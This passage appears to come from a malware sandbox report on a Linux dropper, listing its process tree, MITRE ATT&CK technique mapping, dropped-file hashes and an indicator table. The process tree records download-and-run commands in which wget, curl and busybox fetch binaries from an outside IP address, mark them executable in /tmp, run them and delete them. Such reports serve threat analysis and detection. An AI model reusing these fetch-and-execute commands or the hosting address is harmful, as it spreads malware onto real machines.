  /bin/busybox wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1670
- /bin/chmod
  chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - File and Directory Permissions Modification
  PID:1671
- /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  - Executes dropped EXE
  PID:1672
- /bin/rm
  rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
  2⤵
  PID:1673
- /usr/bin/wget
  wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1674
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Writes file to tmp directory
  PID:1675
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1678
- /bin/chmod
  chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - File and Directory Permissions Modification
  PID:1679
- /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  - Executes dropped EXE
  PID:1680
- /bin/rm
  rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
  2⤵
  PID:1681

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

Path /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	1516	rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	1522	czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	1528	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	1534	bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	1540	lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	1546	ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	1552	6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	1558	pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	1564	0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	1570	dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
/tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN	1576	wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
/tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ	1582	N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
/tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK	1588	wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
/tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20	1594	ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
/tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf	1600	pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
/tmp/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0	1606	0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
/tmp/dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM	1612	dbWhrvO0cHWJZY2SvBXUBJnf49iyTyN2XM
/tmp/wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN	1618	wuoQgjkpHAp0RNJcgnWJvKvaLaibWVJ0JN
/tmp/N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ	1624	N6PuIzGG7GKNFPhHHda9v44id4hch2DFHZ
/tmp/wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK	1630	wCVuxa22KOV5dv5Bju9DjfCfraytKp5zvK
/tmp/ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20	1636	ApuX94BwAD7bE8UHxGjTDTNwenQoLj6g20
/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	1642	rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	1648	czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	1654	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
/tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw	1660	bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
/tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB	1666	lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
/tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI	1672	ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
/tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK	1680	6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK